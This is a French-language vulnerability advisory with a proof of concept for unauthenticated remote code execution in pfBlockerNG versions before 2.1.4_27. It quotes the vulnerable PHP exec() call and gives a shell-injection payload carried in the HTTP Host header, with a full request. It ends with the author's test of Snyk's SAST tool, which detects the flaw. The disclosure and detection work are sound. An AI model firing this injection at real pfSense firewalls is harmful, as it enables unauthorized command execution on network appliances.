
Exploit de preuve de concept pour une exécution de code à distance non authentifiée dans pfBlockerNg via une entrée non échappée dans la fonction de requête DNSBL TLD, avec analyse de détection SAST.
pfBlockerNG est la nouvelle génération de pfBlocker avec les fonctionnalités suivantes :
https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
pfBlockerNg <2.1.4_27
Exécution de code à distance non authentifiée (RCE)
La requête pour la section TLD Block de index.php inclut une entrée utilisateur non nettoyée/non échappée d_query provenant de l'en-tête Host dans le puits de la fonction PHP exec.
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
/pfblockerng/www/index.php
// Query for a TLD Block
if (empty($pfb_query)) {
$idparts = explode('.', $query);
$idcnt = (count($idparts) -1);
for ($i=1; $i <= $idcnt; $i++) {
$d_query = implode('.', array_slice($idparts, -$i, $i, TRUE));
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
if (!empty($match[0])) {
$pfb_query = 'DNSBL_TLD';
break;
}
}
}
Nécessite un accès HTTP à la console web pfSense
Exemple de payload : ' *; sleep 5; '
Requête POC :
GET /pfblockerng/www/index.php HTTP/1.1
Host: test.test2' *; sleep 5; '
Content-Length: 2
J'adore pfBlockerNg et j'ai été inspiré par le récent CVE-2022-31814 de Di r00t et son excellent writeup https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/ et j'étais curieux de voir si l'outil de test de sécurité statique (SAST) Snyk détecterait la vulnérabilité. J'ai donc téléchargé le fichier index.php respectif version 2.1.4_26 et exécuté Snyk Code contre lui. Effectivement, Snyk a détecté la vulnérabilité ainsi qu'une autre similaire signalée juste quelques lignes plus tard.